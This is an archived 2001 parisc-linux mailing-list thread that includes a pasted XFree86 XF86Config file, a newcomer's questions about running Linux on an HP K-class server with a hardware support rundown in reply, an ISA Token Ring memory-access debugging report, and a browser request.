Xref: news.gmane.org gmane.linux.ports.parisc:13405

Thanx again Joel,

		You have been very helpful to me .... now everything is working 
		fine on my machine... Am really greatful to you ...

	Thanx !!
Maneesh

On Mon, 17 Dec 2001 joel.soete@freebel.net wrote:

> Very sorry and disapointed by this webmail client (at least regarding atachement)
> Here so this file as cut and past (it should certainly be re-formated but that
> the best I can do right now):
> 
> ===== XF86Config =====
> 
> # File generated by xf86config.
> 
> #
> # Copyright (c) 1999 by The XFree86 Project, Inc.
> #
> # Permission is hereby granted, free of charge, to any person obtaining a
> # copy of this software and associated documentation files (the "Software"),
> # to deal in the Software without restriction, including without limitation
> # the rights to use, copy, modify, merge, publish, distribute, sublicense,
> # and/or sell copies of the Software, and to permit persons to whom the
> # Software is furnished to do so, subject to the following conditions:
> # 
> # The above copyright notice and this permission notice shall be included in
> # all copies or substantial portions of the Software.
> # 
> # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
> # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
> # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
> # THE XFREE86 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
> # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
> # OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
> # SOFTWARE.
> # 
> # Except as contained in this notice, the name of the XFree86 Project shall
> # not be used in advertising or otherwise to promote the sale, use or other
> # dealings in this Software without prior written authorization from the
> # XFree86 Project.
> #
> 
> # **********************************************************************
> # Refer to the XF86Config(4/5) man page for details about the format of 
> # this file.
> # **********************************************************************
> 
> # **********************************************************************
> # Module section -- this  section  is used to specify
> # which dynamically loadable modules to load.
> # **********************************************************************
> #
> Section "Module"
> 
> # This loads the DBE extension module.
> 
>     Load        "dbe"  	# Double buffer extension
> 
> # This loads the miscellaneous extensions module, and disables
> # initialisation of the XFree86-DGA extension within that module.
>     SubSection  "extmod"
>       Option    "omit xfree86-dga"   # don't initialise the DGA extension
>     EndSubSection
> 
> # This loads the Type1 and FreeType font modules
>     Load        "type1"
>     Load        "freetype"
> 
> # This loads the GLX module
> #    Load       "glx"
> 
> EndSection
> 
> # **********************************************************************
> # Files section.  This allows default font and rgb paths to be set
> # **********************************************************************
> 
> Section "Files"
> 
> # The location of the RGB database.  Note, this is the name of the
> # file minus the extension (like ".txt" or ".db").  There is normally
> # no need to change the default.
> 
>     RgbPath	"/usr/X11R6/lib/X11/rgb"
> 
> # Multiple FontPath entries are allowed (which are concatenated together),
> # as well as specifying multiple comma-separated entries in one FontPath
> # command (or a combination of both methods)
> # 
> # If you don't have a floating point coprocessor and emacs, Mosaic or other
> # programs take long to start up, try moving the Type1 and Speedo directory
> # to the end of this list (or comment them out).
> # 
> 
> #    FontPath   "/usr/X11R6/lib/X11/fonts/local/"
>     FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
>     FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
>     FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
>     FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
>     FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
>     FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
>     FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"
> 
> # The module search path.  The default path is shown here.
> 
> #    ModulePath "/usr/X11R6/lib/modules"
> 
> EndSection
> 
> # **********************************************************************
> # Server flags section.
> # **********************************************************************
> 
> Section "ServerFlags"
> 
> # Uncomment this to cause a core dump at the spot where a signal is 
> # received.  This may leave the console in an unusable state, but may
> # provide a better stack trace in the core dump to aid in debugging
> 
> #    Option "NoTrapSignals"
> 
> # Uncomment this to disable the <Crtl><Alt><BS> server abort sequence
> # This allows clients to receive this key event.
> 
> #    Option "DontZap"
> 
> # Uncomment this to disable the <Crtl><Alt><KP_+>/<KP_-> mode switching
> # sequences.  This allows clients to receive these key events.
> 
> #    Option "Dont Zoom"
> 
> # Uncomment this to disable tuning with the xvidtune client. With
> # it the client can still run and fetch card and monitor attributes,
> # but it will not be allowed to change them. If it tries it will
> # receive a protocol error.
> 
> #    Option "DisableVidModeExtension"
> 
> # Uncomment this to enable the use of a non-local xvidtune client. 
> 
> #    Option "AllowNonLocalXvidtune"
> 
> # Uncomment this to disable dynamically modifying the input device
> # (mouse and keyboard) settings. 
> 
> #    Option "DisableModInDev"
> 
> # Uncomment this to enable the use of a non-local client to
> # change the keyboard or mouse settings (currently only xset).
> 
> #    Option "AllowNonLocalModInDev"
> 
> EndSection
> 
> # **********************************************************************
> # Input devices
> # **********************************************************************
> 
> # **********************************************************************
> # Core keyboard's InputDevice section
> # **********************************************************************
> 
> Section "InputDevice"
> 
>     Identifier	"Keyboard1"
>     Driver	"Keyboard"
> # For most OSs the protocol can be omitted (it defaults to "Standard").
> # When using XQUEUE (only for SVR3 and SVR4, but not Solaris),
> # uncomment the following line.
> 
> #    Option     "Protocol"      "Xqueue"
> 
>     Option "AutoRepeat" "500 30"
> 
> # Specify which keyboard LEDs can be user-controlled (eg, with xset(1))
> #    Option	"Xleds"      "1 2 3"
> 
> #    Option "LeftAlt"     "Meta"
> #    Option "RightAlt"    "ModeShift"
> 
> # To customise the XKB settings to suit your keyboard, modify the
> # lines below (which are the defaults).  For example, for a non-U.S.
> # keyboard, you will probably want to use:
> #    Option "XkbModel"    "pc102"
> # If you have a US Microsoft Natural keyboard, you can use:
> #    Option "XkbModel"    "microsoft"
> #
> # Then to change the language, change the Layout setting.
> # For example, a german layout can be obtained with:
> #    Option "XkbLayout"   "de"
> # or:
> #    Option "XkbLayout"   "de"
> #    Option "XkbVariant"  "nodeadkeys"
> #
> # If you'd like to switch the positions of your capslock and
> # control keys, use:
> #    Option "XkbOptions"  "ctrl:swapcaps"
> 
> # These are the default XKB settings for XFree86
> #    Option "XkbRules"    "xfree86"
> #    Option "XkbModel"    "pc101"
> #    Option "XkbLayout"   "us"
> #    Option "XkbVariant"  ""
> #    Option "XkbOptions"  ""
> 
> #    Option "XkbDisable"
> 
>     Option "XkbRules"	"xfree86"
>     Option "XkbModel"	"pc101"
>     Option "XkbLayout"	"us"
> #    Option "XkbVariant"	"nodeadkeys"
> 
> EndSection
> 
> 
> # **********************************************************************
> # Core Pointer's InputDevice section
> # **********************************************************************
> 
> Section "InputDevice"
> 
> # Identifier and driver
> 
>     Identifier	"Mouse1"
>     Driver	"mouse"
>     Option "Protocol"    "PS/2"
> #    Option "Device"      "/dev/mouse"
>     Option "Device"      "/dev/psaux"
> 
> # When using XQUEUE, comment out the above two lines, and uncomment
> # the following line.
> 
> #    Option "Protocol"	"Xqueue"
> 
> # Baudrate and SampleRate are only for some Logitech mice. In
> # almost every case these lines should be omitted.
> 
> #    Option "BaudRate"	"9600"
> #    Option "SampleRate"	"150"
> 
> # Emulate3Buttons is an option for 2-button Microsoft mice
> # Emulate3Timeout is the timeout in milliseconds (default is 50ms)
> 
> #    Option "Emulate3Buttons"
> #    Option "Emulate3Timeout"    "100"
> 
> # ChordMiddle is an option for some 3-button Logitech mice
> 
> #    Option "ChordMiddle"
> 
> EndSection
> 
> 
> # **********************************************************************
> # Other input device sections 
> # this is optional and is required only if you
> # are using extended input devices.  This is for example only.  Refer
> # to the XF86Config man page for a description of the options.
> # **********************************************************************
> #
> # Section "InputDevice" 
> #    Identifier  "Mouse2"
> #    Driver      "mouse"
> #    Option      "Protocol"      "MouseMan"
> #    Option      "Device"        "/dev/mouse2"
> # EndSection
> #
> # Section "InputDevice"
> #    Identifier "spaceball"
> #    Driver     "magellan"
> #    Option     "Device"        "/dev/cua0"
> # EndSection
> #
> # Section "InputDevice"
> #    Identifier "spaceball2"
> #    Driver     "spaceorb"
> #    Option     "Device"        "/dev/cua0"
> # EndSection
> #
> # Section "InputDevice"
> #    Identifier "touchscreen0"
> #    Driver     "microtouch"
> #    Option     "Device"        "/dev/ttyS0"
> #    Option     "MinX"          "1412"
> #    Option     "MaxX"          "15184"
> #    Option     "MinY"          "15372"
> #    Option     "MaxY"          "1230"
> #    Option     "ScreenNumber"  "0"
> #    Option     "ReportingMode" "Scaled"
> #    Option     "ButtonNumber"  "1"
> #    Option     "SendCoreEvents"
> # EndSection
> #
> # Section "InputDevice"
> #    Identifier "touchscreen1"
> #    Driver     "elo2300"
> #    Option     "Device"        "/dev/ttyS0"
> #    Option     "MinX"          "231"
> #    Option     "MaxX"          "3868"
> #    Option     "MinY"          "3858"
> #    Option     "MaxY"          "272"
> #    Option     "ScreenNumber"  "0"
> #    Option     "ReportingMode" "Scaled"
> #    Option     "ButtonThreshold"       "17"
> #    Option     "ButtonNumber"  "1"
> #    Option     "SendCoreEvents"
> # EndSection
> 
> # **********************************************************************
> # Monitor section
> # **********************************************************************
> 
> # Any number of monitor sections may be present
> 
> Section "Monitor"
> 
>     Identifier  "lcd"
> 
> # HorizSync is in kHz unless units are specified.
> # HorizSync may be a comma separated list of discrete values, or a
> # comma separated list of ranges of values.
> # NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
> # USER MANUAL FOR THE CORRECT NUMBERS.
> 
>     HorizSync   31.5 - 48.5
> 
> #    HorizSync	30-64         # multisync
> #    HorizSync	31.5, 35.2    # multiple fixed sync frequencies
> #    HorizSync	15-25, 30-50  # multiple ranges of sync frequencies
> 
> # VertRefresh is in Hz unless units are specified.
> # VertRefresh may be a comma separated list of discrete values, or a
> # comma separated list of ranges of values.
> # NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
> # USER MANUAL FOR THE CORRECT NUMBERS.
> 
>     VertRefresh 50-100
> 
> EndSection
> 
> 
> # **********************************************************************
> # Graphics device section
> # **********************************************************************
> 
> # Any number of graphics device sections may be present
> 
> # Standard VGA Device:
> 
> Section "Device"
>     Identifier	"Standard VGA"
>     VendorName	"Unknown"
>     BoardName	"Unknown"
> 
> # The chipset line is optional in most cases.  It can be used to override
> # the driver's chipset detection, and should not normally be specified.
> 
> #    Chipset	"generic"
> 
> # The Driver line must be present.  When using run-time loadable driver
> # modules, this line instructs the server to load the specified driver
> # module.  Even when not using loadable driver modules, this line
> # indicates which driver should interpret the information in this section.
> 
>     Driver     "fbdev"
> # The BusID line is used to specify which of possibly multiple devices
> # this section is intended for.  When this line isn't present, a device
> # section can only match up with the primary video device.  For PCI
> # devices a line like the following could be used.  This line should not
> # normally be included unless there is more than one video device
> # intalled.
> 
> #    BusID      "PCI:0:10:0"
> 
> #    VideoRam	256
> 
> #    Clocks	25.2 28.3
> 
> EndSection
> 
> # Device configured by xf86config:
> 
> Section "Device"
>     Identifier  "fbdev"
>     Driver      "fbdev"
>     #VideoRam    8192
>     # Insert Clocks lines here if appropriate
> EndSection
> 
> 
> # **********************************************************************
> # Screen sections
> # **********************************************************************
> 
> # Any number of screen sections may be present.  Each describes
> # the configuration of a single screen.  A single specific screen section
> # may be specified from the X server command line with the "-screen"
> # option.
> Section "Screen"
>     Identifier  "Screen 1"
>     Device      "fbdev"
>     Monitor     "lcd"
>     DefaultDepth 8
> 
>     Subsection "Display"
>         Depth       8
>         Modes       "1280x1024" #"800x600" "640x480" "1024x768" 
>         ViewPort    0 0
>     EndSubsection
>     Subsection "Display"
>         Depth       16
>         Modes       "640x480" "800x600" "1024x768" "1280x1024"
>         ViewPort    0 0
>     EndSubsection
>     Subsection "Display"
>         Depth       24
>         Modes       "800x600" # "1024x768"
>         ViewPort    0 0
>     EndSubsection
> EndSection
> 
> # **********************************************************************
> # ServerLayout sections.
> # **********************************************************************
> 
> # Any number of ServerLayout sections may be present.  Each describes
> # the way multiple screens are organised.  A specific ServerLayout
> # section may be specified from the X server command line with the
> # "-layout" option.  In the absence of this, the first section is used.
> # When now ServerLayout section is present, the first Screen section
> # is used alone.
> 
> Section "ServerLayout"
> 
> # The Identifier line must be present
>     Identifier  "Simple Layout"
> 
> # Each Screen line specifies a Screen section name, and optionally
> # the relative position of other screens.  The four names after
> # primary screen name are the screens to the top, bottom, left and right
> # of the primary screen.  In this example, screen 2 is located to the
> # right of screen 1.
> 
>     Screen "Screen 1"
> 
> # Each InputDevice line specifies an InputDevice section name and
> # optionally some options to specify the way the device is to be
> # used.  Those options include "CorePointer", "CoreKeyboard" and
> # "SendCoreEvents".
> 
>     InputDevice "Mouse1" "CorePointer"
>     InputDevice "Keyboard1" "CoreKeyboard"
> 
> EndSection
> 
> 
> ===== XF86Config =====
> 
> Quoting Grant Grundler <grundler@puffin.external.hp.com>:
> 
> > joel.soete@freebel.net wrote:
> > > I am not a specialist of X but I attach my XF86Config file (just a
> > one
> > > previously put on this list but a bit changed for new XF86 release).
> > 
> > [grundler@puffin grundler]$ mhn -list
> >  msg part  type/subtype              size description                   
> >      
> >  117       multipart/mixed           2368
> >      1     text/plain                1786
> >      2     application/octet-stream     0
> > 
> > Joel,
> > 
> > It didn't attach very well...thanks for the help though.
> > 
> > grant
> > 
> > 
> 
> Once again sorry for inconvenience and thanks for info Grant,
>         Joel
> 
> 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 





From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: robert stanford <rob@rotapile.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Newbie to risc
Date: 18 Dec 2001 21:28:42 +1000
Lines: 14
Approved: news@gmane.org
Message-ID: <1008674922.25986.4.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620864 31838 80.91.229.3 (22 Nov 2014 01:47:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:44 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 04:27:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rotapile.ods.org (dg-4-p6.winshop.com.au [210.8.126.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E900482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 04:27:15 -0700 (MST)
Original-Received: (from rob@localhost)
	by rotapile.ods.org (8.11.6/8.11.6) id fBIBSgw26082;
	Tue, 18 Dec 2001 21:28:42 +1000
X-Authentication-Warning: rotapile.ods.org: rob set sender to rob@rotapile.com using -f
X-Mailer: Evolution/1.0
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13406

Hi everybody,
        Just got a HP K class 9000 series  with dual 240Mhz PA-RISC 8200
processors,32 serial ports, 24 scsi drives, 6 ups's, dat drive  and fast
wide diff scsi tape drive  in a 2 m case. Electrician comes over
tomorrow to hook it up for me. Im totaly new to this architecture.

Whats the current state of linux on parisc, is it stable enough to
deploy as a web/mail server? 

Regards
Robert Stanford




From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie to risc
Date: Tue, 18 Dec 2001 12:37:46 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20011218123746.E2461@lug-owl.de>
References: <1008674922.25986.4.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620864 31843 80.91.229.3 (22 Nov 2014 01:47:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 04:37:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22BC8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 04:37:49 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id B9A169F21; Tue, 18 Dec 2001 12:37:46 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1008674922.25986.4.camel@rotapile>
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.15-pre2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13407

On Tue, 2001-12-18 21:28:42 +1000, robert stanford <rob@rotapile.com>
wrote in message <1008674922.25986.4.camel@rotapile>:
> Hi everybody,
>         Just got a HP K class 9000 series  with dual 240Mhz PA-RISC 8200
> processors,32 serial ports, 24 scsi drives, 6 ups's, dat drive  and fast
> wide diff scsi tape drive  in a 2 m case. Electrician comes over

*plonk*

SCNR, JBG

-- 
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	 -- New APT-Proxy written in shell script --
	   http://lug-owl.de/~jbglaw/software/ap2/



From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ISA memory access
Date: Tue, 18 Dec 2001 14:22:15 +0100 (CET)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0112181417170.14021-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620865 31847 80.91.229.3 (22 Nov 2014 01:47:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:45 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 06:22:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAB94482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 06:22:18 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fBIDMGV02084
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 14:22:16 +0100 (CET)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13408

Hi there,

is it necessary to perform something similar to eisa_permute for ISA
memory space? At least on IBM Token Ring cards the driver fails to get
correct data if (memory & 0x300) == 0:

eisa: irq IAR 03 8259-1 irr 00 8259-2 irr 00
eisa: irq 8259-1 isr 00 imr 73 8259-2 isr 00 imr ff
tr0: Int from tok_driver, dev : 102804c0 irq3 regs=102e45c0
tr0: ARB resp: cmd=81
tr0: rbuffer: 7876.
tr0: offsetof data: 08 lan_hdr_len: 10
tr0: llc: FC0D788E rec_buf_addr: 7876 dev->mem_start: D0000
tr0: dsap: FF, ssap: FF, llc: FF, protid: FFFFFF, ethertype: FFFF

this is garbage.

eisa: irq IAR 03 8259-1 irr 00 8259-2 irr 00
eisa: irq 8259-1 isr 00 imr 73 8259-2 isr 00 imr ff
tr0: Int from tok_driver, dev : 102804c0 irq3 regs=102e45c0
tr0: ARB resp: cmd=81
tr0: rbuffer: DFE.
tr0: offsetof data: 08 lan_hdr_len: 10
tr0: llc: FC0D0E16 rec_buf_addr: 0DFE dev->mem_start: D0000
tr0: dsap: AA, ssap: AA, llc: 03, protid: 000000, ethertype: 0800

this is correct.

At the beginning it looked like memory access fails as soon as the buffer
is > 0x400, but the same happens if i reduce the window to 16K and use
memory paging on the adapter. The adapter itself works OK (verified on an
Intel PC).

Cheers,
Jochen




From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Maneesh Singhal <maneesh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] browser !!
Date: Tue, 18 Dec 2001 20:03:46 +0530 (IST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0112182002310.14019-100000@hpuxsrv.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620865 31849 80.91.229.3 (22 Nov 2014 01:47:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:45 +0000 (UTC)
To: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 07:37:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2E2B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 07:37:50 -0700 (MST)
Original-Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132])
	by palrel13.hp.com (Postfix) with ESMTP id 4170F1F765
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 06:37:48 -0800 (PST)
Original-Received: from localhost (maneesh@localhost) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id UAA14206 for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 20:03:46 +0530 (IST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13409

Hi,

	Where can I find netscape browser for PA-RISC Linux 0.9.3 .

Maneesh






From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie to risc
Date: 18 Dec 2001 07:41:14 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <1008686474.10488.14.camel@beavis>
References: <1008674922.25986.4.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620865 31851 80.91.229.3 (22 Nov 2014 01:47:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:45 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: robert stanford <rob@rotapile.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 07:41:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 365D9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 07:41:16 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id C5F7CBC57; Tue, 18 Dec 2001 07:41:14 -0700 (MST)
In-Reply-To: <1008674922.25986.4.camel@rotapile>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13410

On Tue, 2001-12-18 at 04:28, robert stanford wrote:
> Hi everybody,
>         Just got a HP K class 9000 series  with dual 240Mhz PA-RISC 8200
> processors,32 serial ports, 24 scsi drives, 6 ups's, dat drive  and fast
> wide diff scsi tape drive  in a 2 m case. Electrician comes over
> tomorrow to hook it up for me. Im totaly new to this architecture.
> 
> Whats the current state of linux on parisc, is it stable enough to
> deploy as a web/mail server? 

Nice Box :)

>From your description I am guessing you have a K580.
	http://hwdb.parisc-linux.org/view.php3?type=machine&name=K580

I have not tested a K580, but I have been working on a K460 ... here is
a low-down of what works right now on the K-Class systems.

dual processors:
	supported.

32 serial ports:
	Not supported yet if attached to the Eole CAP/MUX.
	Otherwise describe the hardware layout.

24 scsi drives:
	Supported if on the HSC bus,
	Not supported if the drives are on the HP-PB bus.

6 UPS:
	No idea, I've never tested.


dat drive and fast wide diff scsi tape drive:
	Supported if on the HSC bus but not tested.  CCIO appears to 		have a
tape related bug that I am tracking down right 
		now.
	Not supported if on the HP-PB bus.


One of my pet projects is to get the HP-PB bus cards supported, but this
will take time because the bus is priopriatary, documentation is scarce,
and not many people are really interested in it.


As for the parsic-linux stability .... I'll let others judge that :)

Hope this helps,

- Ryan

P.S. to get the console on the K-Class system, you will need to enable
the CONFIG_PDC_CONSOLE and follow the directions in the help.  The 0.9.3
iso will not install cleanly on the K-Class because of this.


> Regards
> Robert Stanford
> 
> 
